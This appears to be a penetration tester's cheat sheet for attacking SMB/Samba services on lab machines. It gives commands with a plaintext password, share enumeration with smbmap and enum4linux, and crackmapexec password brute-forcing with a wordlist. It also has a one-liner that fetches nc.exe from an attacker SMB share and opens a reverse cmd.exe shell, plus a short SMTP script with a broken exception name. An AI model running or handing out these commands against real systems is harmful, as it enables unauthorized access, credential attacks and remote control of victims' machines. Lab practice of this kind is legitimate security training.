Samba SMB

• smbclient //10.10.210.209/milesdyson -U=milesdyson%')s{A&2Z=F^n_E.B`'

• smbget -R smb://10.10.210.209/milesdyson/notes/important.txt -U=milesdyson%')s{A&2Z=F^n_E.B`'

Get Sharenames (-U is optional)

• smbclient -L 10.10.1.X -U=svc-admin%'password'
• smbmap -H active.htb

List share contents

• smbmap -R Share\Path -H <IP> --depth 10
• smbmap -R Replication -H active.htb --depth 10

Download without connect

smbmap -R Replication -H active.htb -A Groups.xml -q --depth 10

Connect to a share (-U is optional)

smbclient \\\\10.10.1.228\\Sharename -U=svc-admin%'pw'

Brute force via CrackmapexecPermalink

crackmapexec smb <IP> -d <DOMAIN> -u user/file -p rockyou.txt

https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials,-NULL-Sessions,-PtH-Attacks

Download payload and trigger the reverse shell

python /some/path/impacket/examples/smbserver.py share .

// on windows target or RCE
copy \\<attackIP>\share\nc.exe C:\nc.exe;C:\nc.exe <attackIP> <PORT> -e cmd.exe

enum4linux

https://github.com/CiscoCXSecurity/enum4linux

enum4linux -a -M -l -d <IP> 2>&1 | tee "/home/user/scans/enum4linux.txt"

Exploit SMB cron mail

#!/usr/bin/env python3 
import smtplib

host = '127.0.0.1'
port = 25

From = 'send@domain.alvin'
To = 'to@domain.alvin'

Message = '''\
		Subject: HI ALVIN
'''

try:
	io = smtplib.SMTP(host,port)
	io.ehlo()
	io.sendmail(From,To,Message)
except Exceptions as e:
	print (e)
finally:
	io.quit()